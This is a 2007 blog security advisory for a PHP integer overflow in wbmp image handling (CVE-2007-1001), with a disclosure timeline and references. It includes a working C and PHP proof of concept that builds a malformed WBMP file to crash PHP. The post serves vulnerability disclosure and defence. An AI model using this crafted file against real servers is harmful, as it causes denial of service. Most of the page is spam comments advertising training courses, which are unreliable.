Saturday, April 7, 2007

PHP <= 5.2.1 wbmp file handling integer overflow

There is an integer overflow in PHP in ext/gd/libgd/wbmp.c in the function readwbmp. If large enough values are specified for wbmp image height and/or width, so that width*height > 2^32, an integer overflow occurs on the following line

if ((wbmp->bitmap = (int *) safe_emalloc(wbmp->width * wbmp->height, sizeof(int), 0)) == NULL)

causing the amount of memory allocated to be smaller than the amount of data to be read, subsequently causing buffer overflow (See the DoS PoC below).

Upon discovery, I first thought this to be a LibGD issue, however the file wbmp.c is changed in LibGD (as early as in version 2.0.33 released in 2004) and does not have this overflow.

As the only values written in memory upon exploiting this can be (int)0 and (int)1, exploiting this for anything other then DoS seems highly unlikely.

Timeline

Feb 14 2007 - Vulnerability discovered
Mar 7 2007 - Vendor contacted
Mar 7 2007 - Vendor responded, confirmed the bug and said they plan to fix it in PHP 5.2.2, which is to be released in April
Apr 7 2007 - Release of this advisory

Note: I was going to wait until the release of PHP 5.2.2 before publishing this, but seeing FrSIRT (and possibly others) already pubished it I am pushing the release forward a bit.

References

http://www.php.net/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001
http://www.frsirt.com/english/advisories/2007/1269

PoC

#define BUFSIZE 1000000

#include <stdio.h>

int main()
{
int c;
char buf[BUFSIZE];

FILE *fp = fopen("test.wbmp","w");

//write header
c = 0;
fputc(c,fp);
fputc(c,fp);

//write width = 2^32 / 4 + 1
c = 0x84;
fputc(c,fp);
c = 0x80;
fputc(c,fp);
fputc(c,fp);
fputc(c,fp);
c = 0x01;
fputc(c,fp);

//write height = 4
c = 0x04;
fputc(c,fp);

//write some data to cause overflow
fwrite(buf,sizeof(buf),1,fp);

fclose(fp);
}


<?php
$image = imagecreatefromwbmp('test.wbmp'); //overflow occurs
?>?

84 comments:

Divya Besant said...

Its really helpful for me to understand. Thanks.
If anyone wants to Learn Web Designing in Chennai go to the Besant Technologies which is No.1 Training Institute in Chennai.

jack wilson said...

Wonderful blog & good post.Its really helpful for me, awaiting for more new post. Keep Blogging!

Salesforce Training Institutes in Chennai

murali karthik said...

Salesforce is a cloud based CRM product that allows users to create dynamic application and service over the cloud technology. This virtual technology has huge potential to offer for online community. salesforce Training in Chennai

jack wilson said...

Your posts is really helpful for me.Thanks for your wonderful post. I am very happy to read your post. It is really very helpful for us and I have gathered some important information from this blog.


Cloud Computing Training in Chennai

Satvat Infosol said...

Really nice article, and now web design services are depends upon responsive site as well, we need to concentrate on both web and mobile sites.

Roshini Balu said...

Thanks for sharing this information, through you i was getting collection of new information, it's a trustworthy site keep your post as updated one...
Web design courses in Chennai

Roshini RS said...

Thanks for sharing this valuable information to our vision
DOT NET Training Institute in Chennai

jack wilson said...

Salesforce.com Training in Chennai

The information you posted here is useful to make my career better keep updates...If anyone want to get Cloud Computing Course in Chennai, Please visit FITA academy located at Chennai Velachery which offer best Cloud Computing Training in Chennai.

Cloud Computing Training Centers in Chennai

Cloud Computing Training Chennai

jhansi joe said...

Thanks for sharing these niche piece of coding to our knowledge. Here, I had a solution for my inconclusive problems & it’s really helps me a lot keep updates…
Informatica training in chennai|Fita Chennai Reviews|Informatica training center in Chennai

Andria BZ said...

Thanks for splitting your comprehension with us. It’s really useful to me & I hope it helps the people who in need of this vital information. if anyone looking best DOT NET Training in Chennai just get here...

varshini devi said...

Thanks for sharing about php concepts as i am beginner it's help me plenty keep sharing...

JAVA Training in Chennai|JAVA Training Institutes in Chennai

Andria BZ said...

This is a truthful information you have delivered here, thanks for sharing keep your updates regularly with updated information...
Salesforce training in Chennai|Salesforce courses in Chennai

jhansi joe said...


The information you have given here is truly helpful to me. CCNA- It’s a certification program based on routing & switching for starting level network engineers that helps improve your investment in knowledge of networking & increase the value of employer’s network, if you want to take ccna course in Chennai get into FITA, thanks for sharing…
ccna training in Chennai | ccna training institute in Chennai

varshini devi said...

This post having niche information to make myself updated.
Angular training institute in Chennai

dhanamlakshmi palu said...



Your posts is really helpful for me.Thanks for your wonderful post. I am very happy to read your post.
PHP Training in chennai | PHP Training chennai | PHP course in chennai | PHP course chennai

dhanalakshmi palu said...

Your posts is really helpful for me.Thanks for your wonderful post. I am very happy to read your post.
Mysql Training in chennai | Mysql Training chennai | Mysql course in chennai | Mysql course chennai

surangacloud said...

Nice article i was really impressed by seeing this article, it was very interesting and it is very useful for Learners..
Cloud Computing Training in chennai | Cloud Computing Training chennai | Cloud Computing Course in chennai | Cloud Computing Course chennai

Embedded Wiz said...

You want to achieve in Embedded System and Technologies .We are providing industrial training with 100% Job Opportunities in Core Industries. Sessions will be practical on software as well as hardware. We are providing on microcontrollers such as 8051, PIC, AVR, ARM7, ARM9, ARM11 and RTOS with 100% Placement Assistance

Contact : +91-9940426826 / 044-26209369.

Website : www.bestembeddedsystemtraininginchennai.com

Emi Jackson said...

Hi, I wish to be a regular contributor of your blog. I have read your blog. Your information is really useful for us. I did Software Testing Training in Chennai at Fita training and placement academy which offer best Testing Training in Chennai with years of experienced professionals. This is really useful for me to make a bright career.

rebeka christy said...

The information you posted here is useful to make my career better keep updates..Recently I did oracle certification course at a leading academy. Suppose if anyone want to become an oracle certified professional reach FITA Oracle Training Institutes in Chennai, which offers Best Oracle Training in Chennai with years of experienced professionals.

jack wilson said...

Hi, this is Jack from Chennai. Your blog is really very informative. Thanks for sharing this informative blog. SAS is a comprehensive statistical software system which integrates utilities for storing, modifying, analyzing, and graphing data. If anyone want to know more details please visit fita academy.

Regards..
SAS Training Institutes in Chennai

Manish Pandey said...

Thanks for sharing this valuable information.and I gathered some information from this blog. I did SAP Training in Chennai, at FITA Academy which offer best SAP Course in Chennai with years of experienced professionals.

Chandrika Madapudi said...

Hi, Your blog is really very informative and useful for me. Thanks for sharing this valuable blog.
Regards..
Unix Training

Jamuna Pandy said...

Your blog is really nice and informative. Thanks for sharing this post. Keep posting..

Regards..
Salesforce Training Institutes in Chennai

Victoria John said...

Hi, Thanks for sharing this valuable blog.I was really impressed by reading this blog. I did HTML Training in Chennai at reputed HTML5 Training Institutes in Chennai. This is really useful for me to make a bright future in designing field.

Bay Max said...

There are lots of information about latest technology and how to get trained in them, like Hadoop Training Chennai have spread around the web, but this is a unique one according to me. The strategy you have updated here will make me to get trained in future technologies(Hadoop Training in Chennai). By the way you are running a great blog. Thanks for sharing this.

Rahul said...

Hi I’m Rahul doing my final year BE in computer. I have not got placed in any campus recruitment, so planning to go for Selenium Training in Chennai. So kindly help me by guiding on where I could do Selenium Training in Chennai which also helps in placement services.

Shashaa Tirupati said...

Hello Rahul, I’m Shashaa from FITA Academy. We conduct QTP Training in Chennai. the course will cover in and out of QTP, completely and make you a complete professional. So if you are interested to do QTP Training in Chennai get to us. We also do placement services for our students.

Raksha said...

Hi, PHP is a server-side general purpose scripting language used for web development, which is used in almost all personal blogs. It is a very easy to understand language that can be easily learnt with a proper PHP Training in Chennai. You can join a course at FITA, where the best PHP Training in Chennai is taken, and excel as a web developer.

Raghu Sharma said...

This is very informative blog. Keep sharing
Web designing course in Chennai

for IT the said...

Great Article

JavaScript Training in Chennai | JavaScript Course | Javascript Online Course | Angularjs Training in Chennai | Backbone.JS Training in Chennai | Bootstrap Training in Chennai | Node.js Training in Chennai

Raghu Sharma said...

Hi, actually I'am new to angularJs and infact I'am learning angularjs with online training. I'am having doubt, if you could solve the doubt for me that would be very helpful. The doubt is, how can I reset a “$timeout”, and disable a “$watch()”?
Regards,
angularjs training in Chennai|angularjs course in Chennai|angularjs training institute in Chennai

geethu said...

I have read this content it is very nice with unique content and keep updating us.
Salesforce Training in Chennai | salesforce course in Chennai | FITA Velachery | FITA Training

career zone Mohali said...

your site are very usefull for me.
php training | php classes | php center | php training institute in mohali chandigarh

career zone Mohali said...

your site are very usefull for me.
php training | php classes | php center | php training institute in mohali chandigarh

Deeksha Dawar said...

Your design of the blog is really nice. More over the content is also very productive. Information you have provided is really very beneficial.and keep posting
Thanks.. MYSQL Training in Noida

Pooja Sharma said...

Great article comes from inspiration and frequently reading the latest news and articles about a subject and keep up the good work in this website. Thanks for sharing! web designing in jalandhar

Manjot kaur said...


This is the best blog design and article. Very nice job. Thank you very much...

6 weeks industrial training in Chandigarh

mary Brown said...

I have read your blog its very attractive and impressive. I like it your blog.

PHP Training in chennai | PHP Training Course

PHP Training in chennai | Online PHP Course

Nandhini said...

The strategy you have posted on this technology helped me to get into the next level and had lot of information in it. The python programming language is very popular and most widely used.
Python Training in Chennai | Python Course in Chennai

Rekha J said...

This is my first visit to your blog, your post made productive reading, thank you. dot net training in chennai

Rekha J said...

This is my first visit to your blog, your post made productive reading, thank you. dot net training in chennai

purini jagadeesh said...


In a digital world, first impressions are vital and an outstanding web design is the key to success. Users enjoy visiting sites that are aesthetically appealing and easy to navigate. Let our team help your site make an outstanding first impression with speed and accessibility.
Web Design in Chennai

Priya R said...

Thanks for sharing this unique and informative content which provided me the required information.
Java Training in Chennai | JAVA Course in Chennai

Naveen Yadav said...

A Wireless Bitmap (WBMP) is a graphic image format for use when sending Web content to handheld wireless devices. It will inspire a lot of freaher to learn more about PHP . Good content and Very Beneficial too.

Perumal said...

Our indicate is legitimacy customer's trust and conviction through individual thought, vitality for what we do and assurance to long-standing relationship. We will go an additional mile to pass on you impressive business regard and help you get and win in the web.

Web Designing- Sukere Infotechs

dilshad ahmad said...

Croma campus is best IT training institute and best class IT trainer provides croma campus is great JavaScript training in noida wiht jo b placement support. croma campus best facilities and lab provides then best option for you join us croma campus

deepak saikrishna said...



Email showcasing is a financially savvy and simplest approach to achieve your clients. It is one of the intense media contrast with some other promoting media's.You can likewise spare your cash and time to doing email showcasing advancements about your items.

Services:Best mass email benefit-Sukere infotechs

Metaforum Tech said...

http://www.metaforumtechnologies.com/training-courses/software-testing-courses/qtp-testing-training-in-chennai

Mettur dam updates Mettur Dam
Mettur dam updates Mettur

Adlearning Technologies said...

Thank You for sharing your article. I like it. We provide TIBCO Online Training in Hyderabad.

Abinaya V said...

How to detect integer Overflow in c/C++?
We are guide to u
Dot Net Training in Chennai |
Software Testing Training in Chennai |
Digital Marketing Training in Chennai |
Data Analytics Training in Chennai

jhansi joe said...

It's really useful post for the beginners, who willing to learn PHP .
Thanks,
PHP Training in Chennai|PHP Course in Chennai|PHP Training

keerthi shekar said...

Great Work. This post is worth everyone’s attention. web design company in chennai

Aptoinn said...

You post explain everything in detail and it was very interesting to read. Thank you. nata coaching centres in chennai

Abinaya V said...

With Open Training, you'll have access to all the support you need.
Android Training in Chennai |
Android Training in Chennai |
Android Training in Chennai |
Android Training in Chennai |

bmitchell31 said...

Thanks for sharing this with us it is a worth read.

Become a Digital Marketing Specialist | Best Digital Marketing Course | SEO training in Chennai | everything you need to know about digital marketing

apto inn said...

You post explain everything in detail and it was very interesting to read. Thank you. nata coaching centres in chennai

Aptron delhi said...

Its really helpful for me to understand. Thanks.
If anyone wants to Learn Oracle please visit Best Oracle Apps Training in Delhi with real time project

Abinaya V said...

We have placement tie-up with more than 450+ companies. Our Placement team work tirelessly to help you get your dream IT job! .
Android Training in Chennai |
Android Training in Chennai |
Android Training in Chennai |
Android Training in Chennai |

sunilkumarkuppam said...

Thanks for sharing this information and keep updating us. This information is really helpful to me.
Web Designing Course in Chennai | Web Designing Course | Web designing training in Chennai

Rahul kharan said...

Great post. This article is really very interesting and enjoyable. I think its must be helpful and informative for us. Thanks for sharing your nice post. Technology Company in India

Rupok said...

Hi,
I have visite your web site,its really very good,i hope you adding more,if you want you can visit my website
computar traning center for more information

webliquid infotech said...

We are providing digital marketing course, PPC, SEO, PHP and IOS training in Chandigarh. Here you can learn new digital techniques .
+91 - 75089-20783 , +91 - 95012-93387
visit:www.webliquidinfotech.com

SKARtec Digital Marketing Academy said...

Thanks for sharing this with us it is a worth read. xcellent post!!! Our Digital Marketing Training is tailored for beginners who want to learn how to stand out digitally, whether it is for their own business or a personal brand.

Digital Marketing Training in Chennai

Jeyaraj Ramasamy said...

Very good article to understand about wbmp file handling....

If you want to learn PHP PHPTraining in Chennai. Orange TechnoMind is leading training institute in Chennai. Highly experienced trainers are teaching the classes

PHP Training in Chennai

JavaScript Training in Chennai




Aptron gurgaon said...

I may be crazy but, the idea has been nagging me for some time that perhaps the biggest favor we could do for the African poor would be to kill off all that dangerous wild life.
Best PHP Training in Gurgaon

Shreeja K said...

Informative article, just what I was looking for.seo services chennai

Kalpana Chawla said...

Thanks for sharing this with us it is a worth read. xcellent post!!! Our Digital Marketing Training is tailored for beginners who want to learn how to stand out digitally, whether it is for their own business or a personal brand.

Digital Marketing Training in Chennai
Digital Marketing Course in Chennai
SEO Training in Chennai
What is Digital Marketing
Digital Marketing

Lucky Srivastava said...

Hey Very nice Blog,Thanks For Sharing..

Best Php industrial training in Lucknow
best summer training in lucknow
Embedded system training in lucknow
Best Industrial training company in lucknow
best Php training center

Aptron gurgaon said...

I may be crazy but, the idea has been nagging me for some time that perhaps the biggest favor we could do for the African poor would be to kill off all that dangerous wild life. Best Android Training inGurgaon

sunilkumarkuppam said...

Thanks for sharing this information and keep updating us regularly. This content is really helped me to know about the Web Designing.
Web Designing Course in Chennai |Web Designing Training in Chennai | Web Design Course in Chennai

purini jagadeesh said...

Thanks for such a knowledgeable post.We provide Best SEO services in Chennai
digital marketing classes in chennai

Neemu NA said...

Thanks for sharing useful information it's very useful blogs,Hi We at Colan Infotech Private Limited a
Mobile application development company in chennai,
is Situated in US and India, will provide you best service in
enterprise mobile app development company .

janu3vj said...

Thanks for the awesome share
We at Colan Infotech Private Limited best web design company in chennai,is Situated in US and India,
will provide you best service in qa testing services
Design Services and Colan Infotech has a group of exceedingly dedicated, inventive and creative experts with an energy for delivering exciting ,
helpful and stylish Web and Mobile Applications, We are one of the best software testing services company
and of course we stepped in bangalore too we are best qa and testing services
can provide quality assurance and testing services,
we are the best among the software testing company india

Vanu said...

Thanks for the awesome share
Hi we at Colan Infotech Private Limited , a company which is Situated in US and India, will provide you best service and our talented team will assure you best result and we are familiar with international markets, We work with customers in a wide variety of sectors. Our talented team can handle all the aspects of custom application development, we are the best among the dot net development companies in Chennai asp .net web development company
We have quite an extensive experience working with asp .net development services. we are the only asp.net web development company which offer custom services to a wide range of industries by exceeding our client’s expectations. You can even interact directly with the team regarding your project, just as you would with your in-house team, to achieve your dream product.Custom application development company, asp.net development companies,Hire asp .net programmers,asp.net web development services,dot net development companies in chennai Hire asp .net programmers. Here is a good resource if anyone in need of asp.net web development services
dot net development companies in chennai

Neemu NA said...

Thanks for sharing this information article
Hi we at Colan Infotech Private Limited , a company which is Situated in US and India, will provide you best service and our talented team will assure you best result and we are familiar with international markets, We work with customers in a wide variety of sectors. Our talented team can handle all the aspects of custom application development, we are the best among the dot net development companies in Chennai . asp .net web development company We have quite an extensive experience working with asp .net development services. we are the only asp.net web development company which offer custom services to a wide range of industries by exceeding our client’s expectations. You can even interact directly with the team regarding your project, just as you would with your in-house team. hire asp.net programmers to achieve your dream product.
Custom application development company, asp.net development companies, asp .net web development company,Hire asp .net programmers,asp.net web development services,dot net development companies in chennai Hire asp .net programmers/ hire asp .net developer  . We are the best asp .net development company providing top notch asp .net development services Hire asp .net programmers/ hire asp .net developer  . We are the best asp .net development company providing top notch asp .net development services.

Neemu NA said...

Hi we at Colan Infotech Private Limited , a company which is Situated in US and India, will provide you best java web service and our talented
java application development. team will assure you best result and we are familiar with international markets, We work with customers in a wide variety of sectors. Our talented team can handle all the aspects of
Java web application development,we are the best among the
Java development company.
We have quite an extensive experience working with
java development services.
we are the only Java application development company which offer custom services to a wide range of industries by exceeding our client’s expectations. You can even interact directly with the team regarding your project, just as you would with your in-house team.Our pro team will provide you the best
java appliaction development services.
We are best among the
java development companies in Chennai,
please review our customer feedbacks so that you may find a clue about us. If you want one stop solution for java development outsourcing, Colan infotech is the only stop you need to step in. Colan Infotech is the unique
java web development company.were our team of unique
java application developer
were ranked top in
java enterprise application development.

Neemu NA said...

Thanks for sharing useful information article to us keep sharing this info,
Hi We at Colan Infotech Private Limited a
Mobile application development company in chennai,
is Situated in US and India, will provide you best service in
enterprise mobile app development company .
and Colan Infotech has a group of exceedingly dedicated, inventive and creative experts with an energy for delivering exciting , helpful and stylish Web and Mobile Applications, We work with customers in a wide variety of sectors.
We design all of our websites and applications using the responsive web design approach. Our talented team can handle all the aspects of mobility so we are rated as best service provider in
Mobile apps development companies in chennai.

We solidly trust that our customers start things out and there is not a viable alternative for quality of service.
We offer custom services to a wide range of industries by exceeding our client’s expectations. You can even interact directly with the team regarding your project, just as you would with your in-house team. we always desire to solicit our customer's fruitful experience with us, we are the top notch
Mobile App Development Company in chennai
and mobile app development companies in Bangalore. We can provide best
mobile app development chennai .
We can provide cutting edge technology services in
Mobile application development in chennai.
Reach us for mobile app development chennai or just call us for best
mobile app developers in chennai .

purini jagadeesh said...

Thanks for such a knowledgeable post.We provide Best SEO services in Bangalore,India.
please visit:
digital marketing classes in chennai

SKARtec SEO said...

Our Digital Marketing Training is tailored for beginners who want to learn how to stand out digitally, whether it is for their own business or a personal brand.

digital marketing training in chennai
digital marketing course fee in chennai
is digital marketing a good career
best seo training center in chennai
digital marketing classes in chennai

iWEB TECHNOLOGIES said...

Appreciative for such brilliant blog yours...!
Web Design and Development Company in India

Emergers Technologies said...

Just found your post by searching on the Google, I am Impressed and Learned Lot of new thing from your post. I am new to blogging and always try to learn new skill as I believe that blogging is the full time job for learning new things day by day.
"Emergers Technologies"

Lucky Srivastava said...

Hey Nice blog,Thanks for sharing this blog.!!!


Best Summer training in lucknow

Best Php training in lucknow

Summer training in lucknow

Summer training Company in lucknow

Vismaad Labs said...

This awesome post. Keep it up and thanks for sharing information.
Six week Web development Industrial training in Ludhiana
Best IOS training in Ludhiana
.Net Industrial Training Institute in Ludhiana